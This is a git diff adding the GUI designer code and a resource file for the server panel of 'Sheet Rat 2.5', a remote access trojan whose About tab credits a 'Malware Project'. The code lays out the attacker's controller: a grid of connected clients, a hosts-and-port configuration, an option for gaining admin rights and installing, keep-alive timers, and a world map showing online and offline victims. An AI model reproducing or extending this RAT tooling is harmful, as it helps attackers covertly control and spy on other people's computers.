this.CheckBoxAdminGet.AutoSize = true; + this.CheckBoxAdminGet.Location = new Point(268, 33); + this.CheckBoxAdminGet.Name = "CheckBoxAdminGet"; + this.CheckBoxAdminGet.Size = new Size(326, 15); + this.CheckBoxAdminGet.Style = MetroColorStyle.Lime; + this.CheckBoxAdminGet.TabIndex = 54; + this.CheckBoxAdminGet.Text = "getting admin rights (task name for save admin rights) ->"; + this.CheckBoxAdminGet.Theme = MetroThemeStyle.Dark; + this.CheckBoxAdminGet.UseSelectable = true; + this.CheckBoxAdminGet.UseStyleColors = true; + this.CheckBoxInstall.AutoSize = true; + this.CheckBoxInstall.Location = new Point(268, 12); + this.CheckBoxInstall.Name = "CheckBoxInstall"; + this.CheckBoxInstall.Size = new Size(54, 15); + this.CheckBoxInstall.Style = MetroColorStyle.Lime; + this.CheckBoxInstall.TabIndex = 53; + this.CheckBoxInstall.Text = "Install"; + this.CheckBoxInstall.Theme = MetroThemeStyle.Dark; + this.CheckBoxInstall.UseSelectable = true; + this.CheckBoxInstall.UseStyleColors = true; + this.CheckBoxInstall.CheckedChanged += new EventHandler(this.CheckBoxInstall_CheckedChanged); + this.ButtonRemoveIp.Location = new Point(209, 51); + this.ButtonRemoveIp.Name = "ButtonRemoveIp"; + this.ButtonRemoveIp.Size = new Size(49, 23); + this.ButtonRemoveIp.Style = MetroColorStyle.Lime; + this.ButtonRemoveIp.TabIndex = 17; + this.ButtonRemoveIp.Text = "Rm"; + this.ButtonRemoveIp.Theme = MetroThemeStyle.Dark; + this.ButtonRemoveIp.UseSelectable = true; + this.ButtonRemoveIp.UseStyleColors = true; + this.ButtonRemoveIp.Click += new EventHandler(this.metroButton3_Click); + this.ButtonIpAdd.Location = new Point(209, 22); + this.ButtonIpAdd.Name = "ButtonIpAdd"; + this.ButtonIpAdd.Size = new Size(49, 23); + this.ButtonIpAdd.Style = MetroColorStyle.Lime; + this.ButtonIpAdd.TabIndex = 16 /*0x10*/; + this.ButtonIpAdd.Text = "Add"; + this.ButtonIpAdd.Theme = MetroThemeStyle.Dark; + this.ButtonIpAdd.UseSelectable = true; + this.ButtonIpAdd.UseStyleColors = true; + this.ButtonIpAdd.Click += new EventHandler(this.metroButton2_Click); + this.TextBoxIp.CustomButton.Image = (Image) null; + this.TextBoxIp.CustomButton.Location = new Point(178, 1); + this.TextBoxIp.CustomButton.Name = ""; + this.TextBoxIp.CustomButton.Size = new Size(21, 21); + this.TextBoxIp.CustomButton.Style = MetroColorStyle.Blue; + this.TextBoxIp.CustomButton.TabIndex = 1; + this.TextBoxIp.CustomButton.Theme = MetroThemeStyle.Light; + this.TextBoxIp.CustomButton.UseSelectable = true; + this.TextBoxIp.CustomButton.Visible = false; + this.TextBoxIp.Lines = new string[0]; + this.TextBoxIp.Location = new Point(3, 22); + this.TextBoxIp.MaxLength = (int) short.MaxValue; + this.TextBoxIp.Name = "TextBoxIp"; + this.TextBoxIp.PasswordChar = char.MinValue; + this.TextBoxIp.ScrollBars = ScrollBars.None; + this.TextBoxIp.SelectedText = ""; + this.TextBoxIp.SelectionLength = 0; + this.TextBoxIp.SelectionStart = 0; + this.TextBoxIp.ShortcutsEnabled = true; + this.TextBoxIp.Size = new Size(200, 23); + this.TextBoxIp.Style = MetroColorStyle.Lime; + this.TextBoxIp.TabIndex = 15; + this.TextBoxIp.Theme = MetroThemeStyle.Dark; + this.TextBoxIp.UseSelectable = true; + this.TextBoxIp.UseStyleColors = true; + this.TextBoxIp.WaterMarkColor = Color.FromArgb(109, 109, 109); + this.TextBoxIp.WaterMarkFont = new Font("Segoe UI", 12f, FontStyle.Italic, GraphicsUnit.Pixel); + this.metroLabel24.AutoSize = true; + this.metroLabel24.Location = new Point(52, 0); + this.metroLabel24.Name = "metroLabel24"; + this.metroLabel24.Size = new Size(96 /*0x60*/, 19); + this.metroLabel24.Style = MetroColorStyle.Lime; + this.metroLabel24.TabIndex = 5; + this.metroLabel24.Text = "Hosts and port"; + this.metroLabel24.Theme = MetroThemeStyle.Dark; + this.metroLabel24.UseStyleColors = true; + this.metroTabPage5.Controls.Add((Control) this.panel4); + this.metroTabPage5.Controls.Add((Control) this.panel3); + this.metroTabPage5.Controls.Add((Control) this.gMapControl1); + this.metroTabPage5.HorizontalScrollbarBarColor = true; + this.metroTabPage5.HorizontalScrollbarHighlightOnWheel = false; + this.metroTabPage5.HorizontalScrollbarSize = 0; + this.metroTabPage5.Location = new Point(4, 38); + this.metroTabPage5.Name = "metroTabPage5"; + this.metroTabPage5.Size = new Size(1395, 476); + this.metroTabPage5.Style = MetroColorStyle.Lime; + this.metroTabPage5.TabIndex = 6; + this.metroTabPage5.Text = "Map"; + this.metroTabPage5.Theme = MetroThemeStyle.Dark; + this.metroTabPage5.VerticalScrollbarBarColor = true; + this.metroTabPage5.VerticalScrollbarHighlightOnWheel = false; + this.metroTabPage5.VerticalScrollbarSize = 0; + this.panel4.BackColor = Color.FromArgb(17, 17, 17); + this.panel4.Controls.Add((Control) this.metroRadioButton5); + this.panel4.Controls.Add((Control) this.metroRadioButton6); + this.panel4.Location = new Point(119, 12); + this.panel4.Name = "panel4"; + this.panel4.Size = new Size(111, 51); + this.panel4.TabIndex = 4; + this.metroRadioButton5.AutoSize = true; + this.metroRadioButton5.Location = new Point(4, 25); + this.metroRadioButton5.Name = "metroRadioButton5"; + this.metroRadioButton5.Size = new Size(86, 15); + this.metroRadioButton5.Style = MetroColorStyle.Lime; + this.metroRadioButton5.TabIndex = 1; + this.metroRadioButton5.Text = "Hybrid Map"; + this.metroRadioButton5.Theme = MetroThemeStyle.Dark; + this.metroRadioButton5.UseSelectable = true; + this.metroRadioButton5.UseStyleColors = true; + this.metroRadioButton5.CheckedChanged += new EventHandler(this.metroRadioButton5_CheckedChanged); + this.metroRadioButton6.AutoSize = true; + this.metroRadioButton6.Checked = true; + this.metroRadioButton6.Location = new Point(4, 4); + this.metroRadioButton6.Name = "metroRadioButton6"; + this.metroRadioButton6.Size = new Size(94, 15); + this.metroRadioButton6.Style = MetroColorStyle.Lime; + this.metroRadioButton6.TabIndex = 0; + this.metroRadioButton6.TabStop = true; + this.metroRadioButton6.Text = "Standart Map"; + this.metroRadioButton6.Theme = MetroThemeStyle.Dark; + this.metroRadioButton6.UseSelectable = true; + this.metroRadioButton6.UseStyleColors = true; + this.metroRadioButton6.CheckedChanged += new EventHandler(this.metroRadioButton6_CheckedChanged); + this.panel3.BackColor = Color.FromArgb(17, 17, 17); + this.panel3.Controls.Add((Control) this.metroRadioButton3); + this.panel3.Controls.Add((Control) this.metroRadioButton2); + this.panel3.Controls.Add((Control) this.metroRadioButton1); + this.panel3.Location = new Point(13, 12); + this.panel3.Name = "panel3"; + this.panel3.Size = new Size(104, 71); + this.panel3.TabIndex = 3; + this.metroRadioButton3.AutoSize = true; + this.metroRadioButton3.Checked = true; + this.metroRadioButton3.Location = new Point(4, 46); + this.metroRadioButton3.Name = "metroRadioButton3"; + this.metroRadioButton3.Size = new Size(74, 15); + this.metroRadioButton3.Style = MetroColorStyle.Lime; + this.metroRadioButton3.TabIndex = 2; + this.metroRadioButton3.TabStop = true; + this.metroRadioButton3.Text = "Visible All"; + this.metroRadioButton3.Theme = MetroThemeStyle.Dark; + this.metroRadioButton3.UseSelectable = true; + this.metroRadioButton3.UseStyleColors = true; + this.metroRadioButton3.CheckedChanged += new EventHandler(this.metroRadioButton3_CheckedChanged); + this.metroRadioButton2.AutoSize = true; + this.metroRadioButton2.Location = new Point(4, 25); + this.metroRadioButton2.Name = "metroRadioButton2"; + this.metroRadioButton2.Size = new Size(95, 15); + this.metroRadioButton2.Style = MetroColorStyle.Lime; + this.metroRadioButton2.TabIndex = 1; + this.metroRadioButton2.Text = "Visible Online"; + this.metroRadioButton2.Theme = MetroThemeStyle.Dark; + this.metroRadioButton2.UseSelectable = true; + this.metroRadioButton2.UseStyleColors = true; + this.metroRadioButton2.CheckedChanged += new EventHandler(this.metroRadioButton2_CheckedChanged); + this.metroRadioButton1.AutoSize = true; + this.metroRadioButton1.Location = new Point(4, 4); + this.metroRadioButton1.Name = "metroRadioButton1"; + this.metroRadioButton1.Size = new Size(96 /*0x60*/, 15); + this.metroRadioButton1.Style = MetroColorStyle.Lime; + this.metroRadioButton1.TabIndex = 0; + this.metroRadioButton1.Text = "Visible Offline"; + this.metroRadioButton1.Theme = MetroThemeStyle.Dark; + this.metroRadioButton1.UseSelectable = true; + this.metroRadioButton1.UseStyleColors = true; + this.metroRadioButton1.CheckedChanged += new EventHandler(this.metroRadioButton1_CheckedChanged); + this.gMapControl1.Bearing = 0.0f; + this.gMapControl1.CanDragMap = true; + this.gMapControl1.Dock = DockStyle.Fill; + this.gMapControl1.EmptyTileColor = Color.Navy; + this.gMapControl1.GrayScaleMode = false; + this.gMapControl1.HelperLineOption = HelperLineOptions.DontShow; + this.gMapControl1.LevelsKeepInMemmory = 5; + this.gMapControl1.Location = new Point(0, 0); + this.gMapControl1.MarkersEnabled = true; + this.gMapControl1.MaxZoom = 15; + this.gMapControl1.MinZoom = 2; + this.gMapControl1.MouseWheelZoomEnabled = true; + this.gMapControl1.MouseWheelZoomType = MouseWheelZoomType.MousePositionAndCenter; + this.gMapControl1.Name = "gMapControl1"; + this.gMapControl1.NegativeMode = false; + this.gMapControl1.PolygonsEnabled = true; + this.gMapControl1.RetryLoadTile = 0; + this.gMapControl1.RoutesEnabled = true; + this.gMapControl1.ScaleMode = ScaleModes.Integer; + this.gMapControl1.SelectedAreaFillColor = Color.FromArgb(33, 65, 105, 225); + this.gMapControl1.ShowTileGridLines = false; + this.gMapControl1.Size = new Size(1395, 476); + this.gMapControl1.TabIndex = 2; + this.gMapControl1.Zoom = 2.0; + this.metroTabPage7.BackColor = Color.FromArgb(17, 17, 17); + this.metroTabPage7.Controls.Add((Control) this.metroLabel48); + this.metroTabPage7.Controls.Add((Control) this.pictureBox5); + this.metroTabPage7.Controls.Add((Control) this.pictureBox4); + this.metroTabPage7.Controls.Add((Control) this.pictureBox3); + this.metroTabPage7.Controls.Add((Control) this.pictureBox2); + this.metroTabPage7.Controls.Add((Control) this.pictureBox1); + this.metroTabPage7.HorizontalScrollbarBarColor = true; + this.metroTabPage7.HorizontalScrollbarHighlightOnWheel = false; + this.metroTabPage7.HorizontalScrollbarSize = 10; + this.metroTabPage7.Location = new Point(4, 38); + this.metroTabPage7.Name = "metroTabPage7"; + this.metroTabPage7.Size = new Size(1395, 476); + this.metroTabPage7.TabIndex = 7; + this.metroTabPage7.Text = "About"; + this.metroTabPage7.Theme = MetroThemeStyle.Dark; + this.metroTabPage7.VerticalScrollbarBarColor = true; + this.metroTabPage7.VerticalScrollbarHighlightOnWheel = false; + this.metroTabPage7.VerticalScrollbarSize = 10; + this.metroLabel48.AutoSize = true; + this.metroLabel48.Location = new Point(794, 17); + this.metroLabel48.Name = "metroLabel48"; + this.metroLabel48.Size = new Size(420, 19); + this.metroLabel48.TabIndex = 3; + this.metroLabel48.Text = "Created By UwU (Dead Arti's) aka Xyligan Dedsec aka Malware Project"; + this.pictureBox5.Image = (Image) componentResourceManager.GetObject("pictureBox5.Image"); + this.pictureBox5.Location = new Point(794, 78); + this.pictureBox5.Name = "pictureBox5"; + this.pictureBox5.Size = new Size(420, 341); + this.pictureBox5.SizeMode = PictureBoxSizeMode.StretchImage; + this.pictureBox5.TabIndex = 7; + this.pictureBox5.TabStop = false; + this.pictureBox4.Image = (Image) componentResourceManager.GetObject("pictureBox4.Image"); + this.pictureBox4.Location = new Point(17, 364); + this.pictureBox4.Name = "pictureBox4"; + this.pictureBox4.Size = new Size(740, 55); + this.pictureBox4.SizeMode = PictureBoxSizeMode.StretchImage; + this.pictureBox4.TabIndex = 6; + this.pictureBox4.TabStop = false; + this.pictureBox3.Image = (Image) componentResourceManager.GetObject("pictureBox3.Image"); + this.pictureBox3.Location = new Point(17, 226); + this.pictureBox3.Name = "pictureBox3"; + this.pictureBox3.Size = new Size(740, 132); + this.pictureBox3.SizeMode = PictureBoxSizeMode.StretchImage; + this.pictureBox3.TabIndex = 5; + this.pictureBox3.TabStop = false; + this.pictureBox2.Image = (Image) componentResourceManager.GetObject("pictureBox2.Image"); + this.pictureBox2.Location = new Point(17, 88); + this.pictureBox2.Name = "pictureBox2"; + this.pictureBox2.Size = new Size(740, 132); + this.pictureBox2.SizeMode = PictureBoxSizeMode.StretchImage; + this.pictureBox2.TabIndex = 4; + this.pictureBox2.TabStop = false; + this.pictureBox1.Image = (Image) componentResourceManager.GetObject("pictureBox1.Image"); + this.pictureBox1.Location = new Point(17, 17); + this.pictureBox1.Name = "pictureBox1"; + this.pictureBox1.Size = new Size(740, 55); + this.pictureBox1.SizeMode = PictureBoxSizeMode.StretchImage; + this.pictureBox1.TabIndex = 2; + this.pictureBox1.TabStop = false; + this.PingKeepAlive.Interval = 25000; + this.PingKeepAlive.Tick += new EventHandler(this.timer1_Tick); + this.notifyIcon1.Text = "notifyIcon1"; + this.notifyIcon1.Visible = true; + this.TimeOut.Interval = 15000; + this.TimeOut.Tick += new EventHandler(this.TimeOut_Tick); + this.Checker.Enabled = true; + this.Checker.Interval = 3000; + this.Checker.Tick += new EventHandler(this.Checker_Tick); + this.AutoScaleDimensions = new SizeF(6f, 13f); + this.AutoScaleMode = AutoScaleMode.Font; + this.ClientSize = new Size(1443, 598); + this.Controls.Add((Control) this.metroTabControl1); + this.Icon = (Icon) componentResourceManager.GetObject("$this.Icon"); + this.Name = nameof (Form1); + this.Style = MetroColorStyle.Lime; + this.Text = "Sheet Rat 2.5 Online [0] Selected[0]"; + this.TextAlign = MetroFormTextAlign.Center; + this.Theme = MetroThemeStyle.Dark; + this.Load += new EventHandler(this.Form1_Load); + this.metroTabControl1.ResumeLayout(false); + this.metroTabPage1.ResumeLayout(false); + ((ISupportInitialize) this.GridClients).EndInit(); + this.contextMenuForClients.ResumeLayout(false); + ((ISupportInitialize) this.pictureBox6).EndInit(); + this.metroTabPage2.ResumeLayout(false); + ((ISupportInitialize) this.GridLogs).EndInit(); + this.contextMenuForLogs.ResumeLayout(false); + this.metroTabPage3.ResumeLayout(false); + this.metroTabPage3.PerformLayout(); + this.metroTabPage4.ResumeLayout(false); + ((ISupportInitialize) this.GridAutoTasks).EndInit(); + this.contextMenuForTasks.ResumeLayout(false); + this.metroTabPage6.ResumeLayout(false); + this.metroTabPage6.PerformLayout(); + ((ISupportInitialize) this.GridIps).EndInit(); + this.numericUpDown1.EndInit(); + ((ISupportInitialize) this.pictureBoxIco).EndInit(); + this.panel1.ResumeLayout(false); + this.panel1.PerformLayout(); + this.panel2.ResumeLayout(false); + this.panel2.PerformLayout(); + this.metroTabPage5.ResumeLayout(false); + this.panel4.ResumeLayout(false); + this.panel4.PerformLayout(); + this.panel3.ResumeLayout(false); + this.panel3.PerformLayout(); + this.metroTabPage7.ResumeLayout(false); + this.metroTabPage7.PerformLayout(); + ((ISupportInitialize) this.pictureBox5).EndInit(); + ((ISupportInitialize) this.pictureBox4).EndInit(); + ((ISupportInitialize) this.pictureBox3).EndInit(); + ((ISupportInitialize) this.pictureBox2).EndInit(); + ((ISupportInitialize) this.pictureBox1).EndInit(); + this.ResumeLayout(false); + } +} +} diff --git a/Server/Server/Form1.resx b/Server/Server/Form1.resx new file mode 100644 index 0000000..654ac74 --- /dev/null +++ b/Server/Server/Form1.resx @@ -0,0 +1,138 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + 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